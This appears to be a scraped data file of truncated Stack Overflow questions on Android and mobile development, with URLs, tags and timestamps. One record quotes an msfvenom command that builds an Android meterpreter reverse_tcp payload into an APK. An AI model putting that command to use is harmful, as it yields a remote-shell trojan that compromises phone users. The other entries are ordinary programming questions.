ListView not showing up / appearing android studio I have two activities. MainActivity.java and HomeActivity.java. I am trying to create a ListView in HomeActivity.java just with "One", "Two", "Three", and "Four" as the List items but the ListView is not showing up at all. HomeActivity.java: public class HomeActivit...
https://stackoverflow.com/questions/35959976/listview-not-showing-up-appearing-android-studio
java, android, listview
1,457,798,529
se_45219379
stackoverflow
MOBILE_DEVELOPMENT
How to make an API request in Kotlin?
How to make an API request in Kotlin? I am extremely new to Kotlin and APIs in general and can't find the syntax to create an API request using this language. I am creating a mobile version of a website so I'm using Android Studio to create a new UI for an already established backend. What are the steps and syntax to ...
https://stackoverflow.com/questions/45219379/how-to-make-an-api-request-in-kotlin
android, rest, kotlin
1,500,565,229
se_31105303
stackoverflow
MOBILE_DEVELOPMENT
Fragment Lifecycle and recent Apps Screen - Variable is null
Fragment Lifecycle and recent Apps Screen - Variable is null I want to manipulate a Variable (Object) in my Fragment once the User returns to the App from the Homescreen. Inside the Fragment I hold a reference to it. Say like this: Object a; However, when I try to manipulate the Variable in one of the following Metho...
https://stackoverflow.com/questions/31105303/fragment-lifecycle-and-recent-apps-screen-variable-is-null
android, null, fragment, android-lifecycle
1,435,529,577
se_25216749
stackoverflow
MOBILE_DEVELOPMENT
Soft keyboard open and close listener in an activity in Android
Soft keyboard open and close listener in an activity in Android I have an Activity where there are 5 EditTexts. When the user clicks on the first EditText, the soft keyboard opens to enter some value in it. I want to set some other View's visibility to Gone when the soft keyboard opens and also when the user clicks on...
https://stackoverflow.com/questions/25216749/soft-keyboard-open-and-close-listener-in-an-activity-in-android
android, android-activity, android-edittext, android-softkeyboard
1,407,573,472
se_70280582
stackoverflow
MOBILE_DEVELOPMENT
How to install &quot;Code With Me&quot; plugin with Android Studio
How to install &quot;Code With Me&quot; plugin with Android Studio Code With Me plugin from JetBrains now works with Android Studio. However each version of the plugin is compatible with a specific build of Android Studio according to this page. However, Android Studio download page lists only releases. How can I easi...
https://stackoverflow.com/questions/70280582/how-to-install-code-with-me-plugin-with-android-studio
android, android-studio, jetbrains-ide
1,638,991,209
se_79913213
stackoverflow
MOBILE_DEVELOPMENT
How Can My App React to Power Connecting/Disconnecting Even When Closed?
How Can My App React to Power Connecting/Disconnecting Even When Closed? I have tried creating a context-registered receiver following the docs and other examples on StackOverflow, but for some reason none of these logs ever fire. Not when the app is open, not when it's closed - never. Using ACTION_POWER_CONNECTED and...
https://stackoverflow.com/questions/79913213/how-can-my-app-react-to-power-connecting-disconnecting-even-when-closed
android, kotlin
1,774,327,831
se_18889685
stackoverflow
MOBILE_DEVELOPMENT
how to detect screen mirroring
how to detect screen mirroring I have been wondering if there is any way in the android API (or any other lib/framework) that can help me to detect if my device screen is mirrored using WiDi,Miracast or MHL or basically any other technique for mirroring your screen. Br, Inx
https://stackoverflow.com/questions/18889685/how-to-detect-screen-mirroring
android, events, screen, mirroring
1,379,579,136
se_79983765
stackoverflow
MOBILE_DEVELOPMENT
Android ACTION_SEND to X always returns RESULT_CANCELED after posting successfully
Android ACTION_SEND to X always returns RESULT_CANCELED after posting successfully I launch the Android Sharesheet with an ACTION_SEND intent to share an image. After the user selects the X (Twitter) app, I need to know whether the post was completed or canceled. The relevant code is: var chosenComponent: ComponentNam...
https://stackoverflow.com/questions/79983765/android-action-send-to-x-always-returns-result-canceled-after-posting-successful
android, kotlin, twitter, android-jetpack-compose
1,784,704,113
se_32059379
stackoverflow
MOBILE_DEVELOPMENT
Is it possible to Proguard an Android library module, but not the application module?
Is it possible to Proguard an Android library module, but not the application module? I'm hoping somebody can answer what I think is a basic Gradle/Proguard question. I have a very basic Android project. This project contains the main app module, named app, and a library module for the Android Support libraries, name...
https://stackoverflow.com/questions/32059379/is-it-possible-to-proguard-an-android-library-module-but-not-the-application-mo
android, debugging, gradle, proguard, android-support-library
1,439,844,301
se_33984088
stackoverflow
MOBILE_DEVELOPMENT
React native TextInput border not working
React native TextInput border not working Here's my style for the input: searchBarInput: { flex: 1, fontSize: 20, fontWeight: 'bold', color: 'white', height: 50, padding: 0, backgroundColor: 'transparent', borderColor: '#000000', borderWidth: 50, borderStyle: 'solid', } If I change the bord...
https://stackoverflow.com/questions/33984088/react-native-textinput-border-not-working
android, react-native
1,448,808,608
se_41646419
stackoverflow
MOBILE_DEVELOPMENT
Make Web push notification work using webview in a native android app?
Make Web push notification work using webview in a native android app? I have a website which is responsive and push notification feature enabled. In my native android app, if i load my website in a WebView, then the pop up which usually comes in chrome/firefox to ask if user wants to allow push notification or not, d...
https://stackoverflow.com/questions/41646419/make-web-push-notification-work-using-webview-in-a-native-android-app
android, push-notification, android-webview, web-push, push-api
1,484,363,431
se_15292063
stackoverflow
MOBILE_DEVELOPMENT
Android downloading file through DownloadManager not working correctly
Android downloading file through DownloadManager not working correctly I'm trying to download files thru DownloadManager, it works perfectly on most of the phones (Nexus family, S3, etc) but on Galaxy S2 for some reason the download works, but the name of the file is set wrong and when I try to open it (either from no...
https://stackoverflow.com/questions/15292063/android-downloading-file-through-downloadmanager-not-working-correctly
android, download, download-manager
1,362,739,155
se_59863667
stackoverflow
MOBILE_DEVELOPMENT
Can&#39;t get clipboard information on Android 10
Can&#39;t get clipboard information on Android 10 Getting clipboard information in the background Works fine on android 9 But it doesn't work on android 10 Is there a way to get the clipboard information in android 10? Thank you clipboard = (ClipboardManager)getSystemService(CLIPBOARD_SERVICE); clipboard.addPrimar...
https://stackoverflow.com/questions/59863667/cant-get-clipboard-information-on-android-10
android
1,579,708,715
se_49664617
stackoverflow
MOBILE_DEVELOPMENT
How to fix concurrent modification exception in Kotlin
How to fix concurrent modification exception in Kotlin This is my code, in which I am adding data to a list: fun bindProcess(listOfDocId: MutableList<String>, isActvityLogEnabled: Boolean): Observable<MutableList<SearchResultModel>> { return Observable.create<MutableList<SearchResultModel>> { var filtere...
https://stackoverflow.com/questions/49664617/how-to-fix-concurrent-modification-exception-in-kotlin
android, kotlin
1,522,905,419
se_20855441
stackoverflow
MOBILE_DEVELOPMENT
What is difference between action, category, activity name in Android?
What is difference between action, category, activity name in Android? there are android:name 3 times, What is difference between them? I started learn Android, so now I am trying to understand Manifest. <activity android:name="com.example.project.MainActivity" android:label="@string/app_name" > ...
https://stackoverflow.com/questions/20855441/what-is-difference-between-action-category-activity-name-in-android
android, android-activity, android-manifest
1,388,483,964
se_32712729
stackoverflow
MOBILE_DEVELOPMENT
Android - get imageView XY coordinates
Android - get imageView XY coordinates I need to know XY coordinates of an ImageView. This coordinates will be used to position a new ImageView on an RelativeLayout overlay that should have the same position of starting ImageView. Summerize: 1) ImageView1 = getcoordinates XY 2) button click 3) Overlay RelativeLayout ...
https://stackoverflow.com/questions/32712729/android-get-imageview-xy-coordinates
android
1,442,912,372
se_32414806
stackoverflow
MOBILE_DEVELOPMENT
Video Streaming over bluetooth
Video Streaming over bluetooth I want to stream a video from my Android phone to another Android phone over Bluetooth. I know about a VDP to use, but this application is not available in Android SDK. There is the A2dp Bluetooth profile, which is responsible for audio streaming only. Is there a different method in ord...
https://stackoverflow.com/questions/32414806/video-streaming-over-bluetooth
android, bluetooth
1,441,467,234
se_45874072
stackoverflow
MOBILE_DEVELOPMENT
Android Studio - Input Method Manager
Android Studio - Input Method Manager Android studio version :2.3.3 The code below is not working and it should hide the keyboard but its not.Please help. InputMethodManager imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); public void setImm(InputMethodManager imm) { this.imm =...
https://stackoverflow.com/questions/45874072/android-studio-input-method-manager
android, android-studio, webview, inputmethodmanager
1,503,632,202
se_40764880
stackoverflow
MOBILE_DEVELOPMENT
How can I use bluetooth controller in Unity?
How can I use bluetooth controller in Unity? I have bluetooth controller in picture. How do I use joystick and other 6 button on my android game? I can acces only escape button on controller with (Input.GetKeyDown(KeyCode.Escape)) bluetooth controller
https://stackoverflow.com/questions/40764880/how-can-i-use-bluetooth-controller-in-unity
android, unity-game-engine, virtual-reality
1,479,904,908
se_79982128
stackoverflow
MOBILE_DEVELOPMENT
Dynamically add radio buttons to Android activity
Dynamically add radio buttons to Android activity I am trying to create an app with some dynamic survey questions in Android Studio with Java. The user is providing a list of strings, and I want that list to display as radio buttons. My code currently in my CreditForWhat.java file is public class CreditForWhat extends...
https://stackoverflow.com/questions/79982128/dynamically-add-radio-buttons-to-android-activity
java, android, radio-button, dynamic-programming
1,784,525,017
se_25651965
stackoverflow
MOBILE_DEVELOPMENT
Gradlew build fails
Gradlew build fails I'm attempting to set up a project using the libGDX project generator. What I have done is this: I double-click the gdx-setup.jar. All the fields in the UI are left at their default values, except "Destination" (C:\Users\Robert\Development\libGDX\test) and "Android SDK" (C:\Users\Robert\Developmen...
https://stackoverflow.com/questions/25651965/gradlew-build-fails
android, libgdx, gradlew
1,409,771,484
se_79960505
stackoverflow
MOBILE_DEVELOPMENT
How does your team automate Design QA between Figma and the implemented mobile app?
How does your team automate Design QA between Figma and the implemented mobile app? I'm a UX/UI designer working closely with developers, and I'm looking for a more efficient way to perform Design QA. Currently, our process is mostly manual: Compare Figma designs with the implemented mobile app Capture screenshots ...
https://stackoverflow.com/questions/79960505/how-does-your-team-automate-design-qa-between-figma-and-the-implemented-mobile-a
android, ios, figma
1,781,595,085
se_58812220
stackoverflow
MOBILE_DEVELOPMENT
Extract numbers from a string kotlin
Extract numbers from a string kotlin String.replaceAll is not running and is unsupported in Kotlin. Example: var string = "vsdhfnmsdbvfuf121535435aewr" string.replace("[^0-9]".toRegex(), "")
https://stackoverflow.com/questions/58812220/extract-numbers-from-a-string-kotlin
java, android, kotlin
1,573,534,265
se_20212736
stackoverflow
MOBILE_DEVELOPMENT
Alternative to set duplicateParentState to true for each child view?
Alternative to set duplicateParentState to true for each child view? Background I have a layout that has some special states (like being checked/pressed), and I wish to set its children to apply their own drawables based on this layout. i'm searching for an alternative of setting duplicateParentState to true for eac...
https://stackoverflow.com/questions/20212736/alternative-to-set-duplicateparentstate-to-true-for-each-child-view
android, android-layout, android-drawable, statelistdrawable
1,385,457,325
se_60916385
stackoverflow
MOBILE_DEVELOPMENT
Flutter iOS device: Error connecting to the service protocol: failed to connect to http://127.0.0.1:1024
Flutter iOS device: Error connecting to the service protocol: failed to connect to http://127.0.0.1:1024 Problem when connect to real iOS device using Flutter in Android Studio. "Error connecting to the service protocol: failed to connect to http://127.0.0.1:1024" Searched up and restart the device, switch to master...
https://stackoverflow.com/questions/60916385/flutter-ios-device-error-connecting-to-the-service-protocol-failed-to-connect
android, flutter
1,585,495,325
se_70214824
stackoverflow
MOBILE_DEVELOPMENT
Too many Flogger logs received before configuration. Dropping old logs
Too many Flogger logs received before configuration. Dropping old logs I'm getting hundreds of warn messages in Logcat from Android Studio and I don't know what might be causing this message. Too many Flogger logs received before configuration. Dropping old logs. filtering as Info messages, I also get hundreds of mes...
https://stackoverflow.com/questions/70214824/too-many-flogger-logs-received-before-configuration-dropping-old-logs
android, logcat, android-studio-3.0
1,638,536,909
se_55687150
stackoverflow
MOBILE_DEVELOPMENT
java.lang.NoSuchMethodError: No static method with(Landroid/content/Context;)
java.lang.NoSuchMethodError: No static method with(Landroid/content/Context;) Hi I am trying to use the https://github.com/Swati4star/Images-to-PDF ImagesToPDF function from this library. I have added all the classes required in my application. Now I have used picasso in my application before adding the ImagesToPDF ...
https://stackoverflow.com/questions/55687150/java-lang-nosuchmethoderror-no-static-method-withlandroid-content-context
java, android, picasso, android-multidex, matisse
1,555,323,935
se_52473900
stackoverflow
MOBILE_DEVELOPMENT
I create payload using msfvenom but below error generated
I create payload using msfvenom but below error generated My command is: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -o > ~/storage/itechhacks.apk But it wants below details: [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected...
https://stackoverflow.com/questions/52473900/i-create-payload-using-msfvenom-but-below-error-generated
android
1,537,771,367
se_24404173
stackoverflow
MOBILE_DEVELOPMENT
Open a fragment when press a notification in android
Open a fragment when press a notification in android I am trying to open a fragment when I press a notification in the notification bar. My app structure is: a base activity with a nav drawer menu and some fragment that are opened from the menu When I press the notification the activity reopens but not in the in...
https://stackoverflow.com/questions/24404173/open-a-fragment-when-press-a-notification-in-android
android, android-fragments, notifications
1,403,686,286
se_63044513
stackoverflow
MOBILE_DEVELOPMENT
How to confirm Biometric&#39;s onAuthenticationSucceeded is legitimate
How to confirm Biometric&#39;s onAuthenticationSucceeded is legitimate I have a refresh token that is stored in my apps OAuth2 client. I cannot access the code that calls the code that uses the refresh token to get a new access token (and would prefer not to write custom code). Right now, I use a BiometricPrompt to co...
https://stackoverflow.com/questions/63044513/how-to-confirm-biometrics-onauthenticationsucceeded-is-legitimate
android, biometrics
1,595,459,861
se_79417502
stackoverflow
MOBILE_DEVELOPMENT
Where to map to domain from Data layer in MVVM Clean Architecture?
Where to map to domain from Data layer in MVVM Clean Architecture? 'm working on an Android application using the MVVM architecture with clean code principles. The app has three layers: UI -> Domain -> Data (Repository -> Data Source) From the data layer, I want to return a domain object to maintain separation of conc...
https://stackoverflow.com/questions/79417502/where-to-map-to-domain-from-data-layer-in-mvvm-clean-architecture
android, mvvm, clean-architecture
1,738,836,907
se_66487126
stackoverflow
MOBILE_DEVELOPMENT
Problem with changing app language programmatically in Android
Problem with changing app language programmatically in Android I created Settings Activity where I want users to change the app language inside this activity. I created all the resources for these languages. When I go to Settings Activity and change the language let's say to Russian, the language inside this activity ...
https://stackoverflow.com/questions/66487126/problem-with-changing-app-language-programmatically-in-android
android, localization, resources
1,614,920,959
se_79982151
stackoverflow
MOBILE_DEVELOPMENT
Google Maps Android SDK: onMapReady() is called but map tiles never render (marker visible, API key configured)
Google Maps Android SDK: onMapReady() is called but map tiles never render (marker visible, API key configured) I'm facing a strange issue with the Google Maps SDK in my Android app. Problem onMapReady() is called successfully. I receive a valid GoogleMap object. I can add markers. No crashes occur. However, the map t...
https://stackoverflow.com/questions/79982151/google-maps-android-sdk-onmapready-is-called-but-map-tiles-never-render-mark
java, android, kotlin
1,784,533,784
se_13495489
stackoverflow
MOBILE_DEVELOPMENT
Android: Screen Orientation/Rotation for Camera Preview
Android: Screen Orientation/Rotation for Camera Preview I have created a camera app and I want my app to be turned in all 4 possible orientations and the to update the camera preview accordingly. for that I have used the following method I have copied from: Android - Camera preview is sideways public void updateCame...
https://stackoverflow.com/questions/13495489/android-screen-orientation-rotation-for-camera-preview
android, camera, orientation
1,353,508,391